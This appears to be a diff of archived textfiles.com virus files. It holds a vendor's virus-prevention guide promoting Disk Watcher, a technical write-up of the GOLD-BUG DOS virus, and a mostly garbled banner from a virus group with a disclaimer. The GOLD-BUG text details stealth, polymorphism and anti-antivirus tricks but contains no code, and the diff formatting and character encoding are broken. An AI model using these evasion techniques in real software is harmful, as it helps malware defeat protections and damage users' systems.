HOW CAN YOU AVOID COMING IN CONTACT WITH VIRUSES?
|
||||
|
||||
1. Know and be comfortable with the source of your software
|
||||
acquisitions.
|
||||
|
||||
If you use a BBS (Bulletin Board,) verify that the BBS is
|
||||
reputable and that it has satisfactory procedures in
|
||||
place to check out its software as well as provisions
|
||||
to prevent that software from being modified.
|
||||
|
||||
Do not use illegitimate copies of software.
|
||||
|
||||
Be sure that the developer of the software you're using
|
||||
is a professional. Note that many "Shareware" products
|
||||
are professionally produced. You needn't stop using
|
||||
them. Just be sure that you have a legitimate copy of
|
||||
the program if you choose to use these products.
|
||||
|
||||
Don't accept free software that looks too good to be
|
||||
true.
|
||||
|
||||
2. Install a professional virus protection package on your
|
||||
computer that will alert you to any strange goings on.
|
||||
|
||||
3. Provide physical security for your computers.
|
||||
ie: Locked rooms; locks on the computers; etc.
|
||||
|
||||
4. If you're unsure of a disk or a specific program, run it in an
|
||||
isolated environment where it will not be able to do any
|
||||
damage.
|
||||
|
||||
ie: Run the program on a "diskette only" computer, and keep
|
||||
a write-protect tab on your "System Disk."
|
||||
|
||||
Run the program with "Virus Protection" software
|
||||
installed.
|
||||
|
||||
5. Establish and maintain a sound Back-Up policy.
|
||||
|
||||
DO NOT USE ONLY ONE SET OF BACK-UP DISKS THAT ARE
|
||||
CONTINUOUSLY WRITTEN OVER.
|
||||
|
||||
Use at least three complete sets of back-up disks that are
|
||||
rotated in a regular cycle.
|
||||
|
||||
|
||||
DO YOU NEED SOME FORM OF PROTECTION FROM VIRUSES?
|
||||
|
||||
It couldn't hurt !!! You do lock the door to your home
|
||||
when you go out, right?
|
||||
|
||||
Plan in advance the methods you'll use to ward off virus attacks.
|
||||
It's a far more effective use of management time to establish
|
||||
preventative measures in a calm environment instead of making
|
||||
panic decisions after a virus attack has occurred.
|
||||
|
||||
|
||||
IS THERE ANY SOLUTION AVAILABLE THAT'S ABSOLUTELY FOOLPROOF?
|
||||
|
||||
No !!!
|
||||
|
||||
Any security system can be broken by someone dedicated and
|
||||
knowledgeable enough to put forth the effort to break the system.
|
||||
|
||||
|
||||
WHAT LEVEL OF PROTECTION DO YOU NEED?
|
||||
|
||||
This of course depends on many factors, such as:
|
||||
|
||||
1. The sensitivity of the data on your PC's.
|
||||
2. The number of personnel having access to your PC's.
|
||||
3. The security awareness of computing personnel.
|
||||
4. The skill levels of computing personnel.
|
||||
5. Attitudes, ethics, and morale of computing personnel.
|
||||
|
||||
A key point of consideration is the threshold for the amount of
|
||||
security you can use versus its impact on normal productivity.
|
||||
|
||||
Human nature must also be considered. If you were to install 10
|
||||
locks on your front door and it cost you 5 minutes each time you
|
||||
enter your home, I'll bet that the first time that it's
|
||||
raining... and you have 3 bags of groceries... you'll go back to
|
||||
using the one lock you always used.
|
||||
|
||||
|
||||
HOW CAN A SOFTWARE PRODUCT PROTECT AGAINST VIRUSES?
|
||||
|
||||
There are several approaches that have been developed.
|
||||
|
||||
One form is an "inoculation" or "signature" process, whereby the
|
||||
key files on a disk are marked in a special way and periodically
|
||||
checked to see if the files have been changed. Depending on the
|
||||
way in which this is implemented, this method can actually interfere
|
||||
with programs that have built-in integrity checks.
|
||||
|
||||
Another method is to "Write Protect" specific key areas of the
|
||||
disk so that no software is permitted to change the data in those
|
||||
places.
|
||||
|
||||
We at RG Software Systems, Inc. believe that preventative
|
||||
measures are the most effective. The Disk Watcher system provides
|
||||
multiple lines of defense: A "Batch" type program automatically
|
||||
checks all active disk drives for the presence of certain hidden
|
||||
virus characteristics when the computer is started, and a TSR
|
||||
(Terminate and Stay Resident) program monitors ongoing disk
|
||||
activity throughout all processing. The "Batch" program
|
||||
can also be run on demand at any time to check the disk in a
|
||||
specific drive.
|
||||
|
||||
The TSR program, in addition to its other "Disaster
|
||||
Prevention" features, contains a series of proprietary algorithms
|
||||
that detect the behavior characteristics of a myriad of virus
|
||||
programs, and yet produce minimal overhead in processing time
|
||||
and "false alarm" reports. Disk Watcher is uniquely able to tell
|
||||
the difference between legitimate IO activity and the IO activity
|
||||
of a virus program.
|
||||
|
||||
When an action occurs indicative of a virus attempting to reproduce itself;
|
||||
alter another program; set itself up to be automatically run the next
|
||||
time the system is started; or attempting to perform a massively damaging
|
||||
act; Disk Watcher will automatically "pop up." The user will then have
|
||||
several options, one of which is to immediately stop the computer before any
|
||||
damage can be done. Detection occurs BEFORE the action takes place.
|
||||
|
||||
Other options allow the user to tell Disk Watcher to continue the
|
||||
application program and remember that this program is permitted
|
||||
to perform the action that triggered the "pop up."
|
||||
|
||||
Some very important features of Disk Watcher are:
|
||||
|
||||
Whenever the user selects the "Stop the Computer" option, the
|
||||
Application screen image and the Disk Watcher screen image will be
|
||||
sent to the system printer before the machine is stopped, so that
|
||||
an effective analysis of the problem may be done.
|
||||
|
||||
Disk Watcher performs an integrity check on itself whenever it runs.
|
||||
|
||||
The "Destructive" viruses that produce "selective" file
|
||||
destruction or "Random Havoc" are the most difficult to defend
|
||||
against. The best measures are to prevent them from getting into
|
||||
the system in the first place.
|
||||
|
||||
|
||||
WHICH VIRUS PROTECTION PACKAGE IS RIGHT FOR YOU?
|
||||
|
||||
Since the first reports of virus attacks appeared in the press, a
|
||||
number of "Virus Prevention" products have quickly appeared on
|
||||
the market, produced by companies wishing to take advantage of a
|
||||
unique market opportunity. This is to be expected. RG Software
|
||||
Systems, Inc. is one of them with our Disk Watcher product.
|
||||
|
||||
It should be pointed out, however, that as of this writing, only
|
||||
a little over 2 months has transpired since the first major
|
||||
stories appeared.
|
||||
|
||||
Those companies that have had to build a product from scratch
|
||||
during this limited amount of time have had to design the
|
||||
defensive system, write the program code, write the user's
|
||||
manual, design the packaging, "Alpha" test, "Beta" test, and
|
||||
bring their product through manufacturing to market. A monumental
|
||||
task in a miraculously short period of time.
|
||||
|
||||
Companies that have had products on the market that include virus
|
||||
protection, or products that were enhanced to include virus
|
||||
protection, such as Disk Watcher, have had extra time and field
|
||||
experience for the stabilization of their products.
|
||||
|
||||
As a professional in this industry, I sincerely hope that the
|
||||
quickly developed products are stable in their released form.
|
||||
|
||||
The evaluation points listed below are usually applied as a
|
||||
standard for all types of software products:
|
||||
|
||||
|
||||
*Price
|
||||
*Performance
|
||||
*Ease of Use
|
||||
*Ease of Learning
|
||||
*Ease of Installation
|
||||
*Documentation
|
||||
*Copy Protection
|
||||
*Support
|
||||
|
||||
A "Virus Protection" package, like a security system for your
|
||||
home, requires a close scrutiny. You want the system to do the
|
||||
job unobtrusively, and yet be effective.
|
||||
|
||||
TWELVE SPECIAL CONSIDERATIONS FOR VIRUS PROTECTION PACKAGES:
|
||||
|
||||
1. Amount of impact the package may have on your computer's
|
||||
performance.
|
||||
|
||||
If the package is "RAM Resident," does it noticeably slow
|
||||
down your machine's operations?
|
||||
If so, with what type of operation? Are program start-
|
||||
ups slowed? Are database operations slowed?
|
||||
|
||||
|
||||
2. Level of dependency on operator intervention.
|
||||
|
||||
Does the package require the operator to perform certain
|
||||
tasks on a regular basis in order for it to be
|
||||
effective? (Such as only checking for virus conditions
|
||||
on command.)
|
||||
Does the package require much time to install and keep
|
||||
operational? ie: Each time any new software is
|
||||
installed on the system, must the protection package be
|
||||
used?
|
||||
|
||||
3. Impact on productivity... Annoyance level.
|
||||
|
||||
Does the package periodically stop processing and/or require
|
||||
the operator to take some action. If so, does the
|
||||
package have any capability to learn its environment
|
||||
and stop its interference?
|
||||
|
||||
4. False alarms.
|
||||
|
||||
How does the package handle situations that appear to be
|
||||
viruses but are legitimate actions made by legitimate
|
||||
programs?
|
||||
Are there situations where legitimate jobs will have to be
|
||||
re-run or the system re-booted because of the
|
||||
protection package? How frequently will this occur?
|
||||
How much additional end-user support will the package
|
||||
require?
|
||||
|
||||
5. The probability that the package will remain in use?
|
||||
|
||||
Will there be any interference or usage requirements that
|
||||
will discourage the user from keeping the package
|
||||
active? (It won't be effective if they quickly desire
|
||||
to de-install it and perhaps only pretend they are
|
||||
using it when management is present.)
|
||||
|
||||
6. Level of effectiveness it provides in combatting viruses.
|
||||
|
||||
Will it be effective against viruses produced by someone
|
||||
with an experience level of:
|
||||
|
||||
Level 1 - "Typical End User"? (Basic knowledge of using
|
||||
applications and DOS commands.)
|
||||
Level 2 - "Power User"? (Knowledge of DOS Command
|
||||
processor, Hardware functions, BASIC
|
||||
programming, etc.)
|
||||
Level 3 - "Applications Programmer"? (Knowledge of
|
||||
programming languages and DOS service calls.)
|
||||
Level 4 - "Systems Engineer"? (Knowledge of DOS and
|
||||
Hardware internal functions.)
|
||||
Level 5 - "Computer Science Professor that develops
|
||||
viruses for research purposes"?
|
||||
|
||||
Which types of intrusion will it be effective against?
|
||||
|
||||
"Covert Entry"?
|
||||
"Overt Entry"?
|
||||
|
||||
Does it detect a virus attempting to spread or "clone"
|
||||
itself?
|
||||
|
||||
Does it detect a virus attempting to place itself into a
|
||||
position to be automatically run?
|
||||
|
||||
If a virus gets into the computer, which types of virus
|
||||
damage will it detect?
|
||||
|
||||
"Massive Destruction"
|
||||
"Partial Destruction"
|
||||
"Selective Destruction"
|
||||
"Random Havoc Destruction"
|
||||
"Annoyance"
|
||||
|
||||
Does the software detect a virus before or after it has
|
||||
infected a program or made its attack?
|
||||
|
||||
Does the publisher claim total protection from all viruses?
|
||||
|
||||
|
||||
7. Does the software provide any assistance for "post mortem"
|
||||
analysis of suspected problems?
|
||||
|
||||
ie: If a virus symptom is detected and the computer is
|
||||
brought to a halt, is there any supporting information
|
||||
for analyzing the problem other than the operator's
|
||||
recall of events?
|
||||
|
||||
|
||||
8. Impact on your machine's resources.
|
||||
|
||||
How much RAM is used?
|
||||
Is any special hardware required?
|
||||
|
||||
|
||||
9. Is the product compatible with:
|
||||
|
||||
Your hardware configuration.
|
||||
Your Operating system version.
|
||||
Your network.
|
||||
Other software that you use, especially TSR's.
|
||||
|
||||
10. Can the package be used by current computing personnel
|
||||
without substantial training?
|
||||
|
||||
What type of computing experience is required to install the
|
||||
package?
|
||||
|
||||
11. Background of the publisher.
|
||||
|
||||
References... Who is using this or other products from
|
||||
this publisher? How is this company perceived by its
|
||||
customers? The press?
|
||||
|
||||
How long has the publisher been in business?
|
||||
|
||||
Was the product Beta Tested?... By valid, well-known
|
||||
organizations or by friends of the company's owner?
|
||||
|
||||
Was the product tested against any known viruses?
|
||||
Successfully?
|
||||
|
||||
What about on-going support? In what form? At what cost?
|
||||
|
||||
Does the company plan to upgrade its product periodically?
|
||||
|
||||
What is the upgrade policy? Expected costs?
|
||||
|
||||
12. Does the package provide any other useful benefits to the
|
||||
user besides virus protection?
|
||||
|
||||
|
161
textfiles.com/virus/gold-bug.txt
Normal file
161
textfiles.com/virus/gold-bug.txt
Normal file
@@ -0,0 +1,161 @@
|
||||
Virus Name: GOLD-BUG
|
||||
Aliases: AU, GOLD, GOLD-FEVER, GOLD-MINE
|
||||
V Status: New, Research
|
||||
Discovery: January, 1994
|
||||
Symptoms: CMOS checksum failure; Creates files with no extension; Modem
|
||||
answers on 7th ring; BSC but it is hidden; Most virus scanners
|
||||
fail to run or are Deleted; CHKLIST.??? files deleted.
|
||||
Origin: USA
|
||||
Eff Length: 1,024 Bytes
|
||||
Type Code: SBERaRbReX - Spawning Color Video Resident and Extended HMA
|
||||
Memory Resident Boot-Sector and Master-Sector Infector
|
||||
Detection Method: None
|
||||
Removal Instructions: See Below
|
||||
|
||||
General Comments:
|
||||
|
||||
GOLD-BUG is a memory-resident multipartite polymorphic stealthing
|
||||
boot-sector spawning anti-antivirus virus that works with DOS 5 and
|
||||
DOS 6 in the HIMEM.SYS memory. When an .EXE program infected with the
|
||||
GOLD-BUG virus is run, it determines if it is running on an 80186 or
|
||||
better, if not it will terminate and not install. If it is on an
|
||||
80186 or better it will copy itself to the partition table of the hard
|
||||
disk and remain resident in memory in the HMA (High Memory Area) only
|
||||
if the HMA is available, ie. DOS=HIGH in the CONFIG.SYS file else no
|
||||
infection will occur. The old partition table is moved to sector 14
|
||||
and the remainder of the virus code is copied to sector 13. The virus
|
||||
then executes the spawned associated file if present. INT 13 and
|
||||
INT 2F are hooked into at this time but not INT 21. The spawning
|
||||
feature of this virus is not active now.
|
||||
|
||||
When the computer is rebooted, the virus goes memory resident in the
|
||||
color video memory. Also at this time the GOLD-BUG virus removes
|
||||
itself from the partition table and restores the old one back. Unlike
|
||||
other boot-sector infectors, it does not use the top of memory to
|
||||
store the code. CHKDSK does not show a decrease in available memory.
|
||||
At this time it only hooks INT 10 and monitors when the HMA becomes
|
||||
available. Once DOS moves into the HMA, then GOLD-BUG moves into the
|
||||
HMA at address FFFF:FB00 to FFFF:FFFF. If the HMA never becomes
|
||||
available, ie. DOS loaded LOW or the F5 key hit in DOS 6 to bypass the
|
||||
CONFIG.SYS, then the virus clears itself from the system memory when
|
||||
the computer changes into graphics mode. If it moves to the HMA, it
|
||||
hooks INT 13, INT 21 and INT 2F and then rewrites itself back to the
|
||||
partition table. The GOLD-BUG virus also has some code that stays
|
||||
resident in the interrupt vector table to always make the HMA
|
||||
available to the virus. The full features of the virus are now
|
||||
active.
|
||||
|
||||
The GOLD-BUG virus will infect the boot sector of 1.2M diskettes.
|
||||
The virus copies itself to the boot sector of the diskette and moves
|
||||
a copy of the boot sector to sector 28 and the remainder of the code
|
||||
is copied to sector 27. These are the last 2 sectors of the 1.2M disk
|
||||
root directory. If there are file entries on sector 27 or 28 it will
|
||||
not overwrite them with the virus code. It will infect 1.2M disks in
|
||||
drive A: or B: If a clean boot disk is booted from drive A: and you
|
||||
try to access C: you will get an invalid drive specification.
|
||||
|
||||
The boot-sector infection is somewhat unique. If the computer is
|
||||
booted with a disk that contains the GOLD-BUG virus, it will remain in
|
||||
video memory until the HMA is available and then infect the hard disk.
|
||||
Also at this time, it will remove itself from the 1.2M disk. The
|
||||
virus will never infect this disk again. It makes tracking where you
|
||||
got the virus from difficult in that your original infected disk is
|
||||
not infected anymore.
|
||||
|
||||
If an .EXE file less than 64K and greater then 1.5K is executed,
|
||||
GOLD-BUG will randomly decide to spawn a copy of it. The .EXE file is
|
||||
renamed to the same file name with no extension, ie. CHKDSK.EXE
|
||||
becomes CHKDSK. The original file attributes are then changed to
|
||||
SYSTEM. An .EXE file with the same name is created. This .EXE file
|
||||
has the same length, file date and attributes as the original .EXE
|
||||
file. This spawning process will not make a copy on a diskette
|
||||
because it might be write protected and be detected; but it will make
|
||||
a spawn .EXE file on a network drive. When a spawned file is created,
|
||||
CHKLIST.??? of the current directory is also deleted. The .EXE file
|
||||
that is created is actually a .COM file; it has no .EXE header.
|
||||
|
||||
The GOLD-BUG virus is very specific as to what type of .EXE files it
|
||||
will spawn copies. It will not spawn any Windows .EXE files or any
|
||||
other .EXE files the use the new extended .EXE header except those
|
||||
that use the PKLITE extended .EXE header. This way all Windows
|
||||
programs will continue to run and the virus will still be undetected.
|
||||
|
||||
The GOLD-BUG virus is also Polymorphic. Each .EXE file it creates
|
||||
only has 2 bytes that remain constant. It can mutate into 128
|
||||
different decription patterns. It uses a double decription technique
|
||||
that involves INT 3 that makes it very difficult to decript using a
|
||||
debugger. The assembly code allowed for 512 different front-end
|
||||
decripters. Each of these can mutate 128 different ways.
|
||||
|
||||
The GOLD-BUG virus incorporates an extensive steathing technique. Any
|
||||
time the hard disk partition table or boot sector of an infected
|
||||
diskette is examined, the copy of the partition table or boot sector
|
||||
is returned. If a spawned .EXE file is opened to be read or executed;
|
||||
the GOLD-BUG virus will redirect to the original file. Windows 3.1
|
||||
will detect a resident boot-sector virus if the "Use 32 Bit Access" is
|
||||
enabled on the "Virtual Memory" option. GOLD-BUG will disconnect
|
||||
itself from the INT 13 chain when Windows installs and reconnect when
|
||||
Windows uninstalles to avoid being detected. When Windows starts, the
|
||||
GOLD-BUG virus will copy the original hard disk partition table back.
|
||||
When Windows ends, the GOLD-BUG virus will reinfect the partition
|
||||
table.
|
||||
|
||||
The GOLD-BUG virus also has an extensive anti-antivirus routine. It
|
||||
can install itself with programs like VSAFE.COM and DISKMON.EXE
|
||||
resident that monitor changes to the computer that are common for
|
||||
viruses. It writes to the disk using the original BIOS INT 13 and not
|
||||
the INT 13 chain that these types of programs have hooked into. It
|
||||
hooks into the bottom of the interrupt chain rather than changing and
|
||||
hooking interrupts; very similar to the tunneling technique. If the
|
||||
GOLD-BUG virus is resident in memory, any attempts to run most virus
|
||||
scanners will be aborted. GOLD-BUG stops any large .EXE file
|
||||
(greater than 64k) with the last two letters of "AN" to "AZ". It will
|
||||
stop SCAN.EXE, CLEAN.EXE, NETSCAN.EXE, CPAV.EXE, MSAV.EXE, TNTAV.EXE,
|
||||
etc., etc. The SCAN program will either be deleted or an execution
|
||||
error will return. Also, GOLD-BUG will cause a CMOS checksum failure
|
||||
to happen next time the system boots. GOLD-BUG also erases
|
||||
"CHKLIST.???" created by CPAV.EXE and MSAV.EXE. Programs that do an
|
||||
internal checksum on themselves will not detect any changes. The
|
||||
Thunder Byte Antivirus programs contain a partition table program that
|
||||
claims it can detect all partition table viruses. GOLD-BUG rides
|
||||
right through the ThunderByte partition virus checker.
|
||||
|
||||
The GOLD-BUG virus detects a modem. If you received an incoming call
|
||||
on the modem line, GOLD-BUG will output a string that will set the
|
||||
modem to answer on the seventh ring.
|
||||
|
||||
If a program tries to erase the infected .EXE file, the original
|
||||
program and not the infected .EXE file is erased.
|
||||
|
||||
The text strings "AU", "1O7=0SLMTA", and "CHKLIST????" appear in the
|
||||
decripted code. The virus gets it name from "AU", the chemical
|
||||
element "GOLD". The text string "CHKLIST????" is actually executable
|
||||
code.
|
||||
|
||||
The GOLD-BUG virus has two companion viruses that it works with. The
|
||||
DA'BOYS virus is also a boot-sector infector. It is possible to have
|
||||
a diskette with two boot-sector viruses. GOLD-BUG hides the presence
|
||||
of the DA'BOYS virus from the Windows 3.1 startup routine. GOLD-BUG
|
||||
removes the DA'BOYS virus from the INT 13 chain at the start of
|
||||
Windows and restores it when Windows ends. The GOLD-BUG virus works
|
||||
with the XYZ virus; it reserves the space FFFF:F900 to FFFF:FAFF in
|
||||
the HMA for the XYZ virus so it can load as well.
|
||||
|
||||
To remove the GOLD-BUG virus, change DOS=HIGH to DOS=LOW in the
|
||||
CONFIG.SYS, then reboot. Once the system comes up again, reboot from
|
||||
a clean boot disk. The Virus has now removed itself from the
|
||||
partition table and memory. With the ATTRIB command check for files
|
||||
with the SYSTEM bit set that don't have any extension. Delete the
|
||||
.EXE file associated with the SYSTEM file. Using ATTRIB remove the
|
||||
SYSTEM attribute. Rename the file with no extension to an .EXE file.
|
||||
Format each diskette or run SYS to remove the virus from the boot
|
||||
sector of each 1.2M disk. Any spawned .EXE files copied to diskette
|
||||
need to be deleted.
|
||||
|
||||
Several variations of this virus can exist. The assembly code allowed
|
||||
for 14 features to be turned on or off: Delete Scanners, Check for
|
||||
8088, Infect at Random, Deflect Delete, CMOS Bomb, File Reading
|
||||
Stealth, Same File Date, Double Decription, Execute Spawned, Modem
|
||||
Code, Anti-Antivirus, Polymorphic, Multipartite and 720K or 1.2M
|
||||
Diskette Infection. Some of these features can be disabled and more
|
||||
code added to change the characteristics of this virus.
|
3516
textfiles.com/virus/goodwin.txt
Normal file
3516
textfiles.com/virus/goodwin.txt
Normal file
File diff suppressed because it is too large
Load Diff
43
textfiles.com/virus/greetng1.txt
Normal file
43
textfiles.com/virus/greetng1.txt
Normal file
@@ -0,0 +1,43 @@
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
||||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ
|
||||
<EFBFBD> <20>/<2F> A Youngsters Against McAfee Production <20>\<5C> <20>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ
|
||||
<EFBFBD> DISCLAIMER : By unzipping this file you hearby agree that YAM is not <20>
|
||||
<EFBFBD> responsible for any damage that it does to your computer or anybody's <20>
|
||||
<EFBFBD> else's computer. We are also not responsible for what you or anyone else <20>
|
||||
<EFBFBD> does with the files included, be it running it on someone else's computer <20>
|
||||
<EFBFBD> or by running it on your own computer. (If your dumb enough too) <20>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ
|
||||
